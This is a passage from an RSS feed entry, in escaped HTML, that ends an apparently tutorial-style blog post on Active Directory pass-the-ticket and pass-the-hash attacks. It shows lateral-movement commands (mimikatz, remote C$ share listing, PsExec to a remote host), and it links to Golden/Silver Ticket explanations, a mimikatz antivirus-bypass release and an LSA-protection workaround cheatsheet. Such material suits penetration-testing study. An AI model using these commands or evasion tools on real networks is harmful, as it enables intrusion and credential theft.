class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;misc::cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\192.168.126.10\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe \\192.168.126.10 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/m0_55751267/article/details/127990619" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/m0_55751267/article/details/127990619&lt;/a&gt; explains the principles behind Silver and Golden Tickets.&lt;/p&gt;&#10;&lt;p&gt;This blog post: &lt;a class="link" href="https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Mimikatz antivirus bypass: &lt;a class="link" href="https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0" target="_blank" rel="noopener"&#10; &gt;https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;References:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround" target="_blank" rel="noopener"&#10; &gt;https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround&lt;/a&gt;&lt;/p&gt;&#10;</description></item></channel></rss>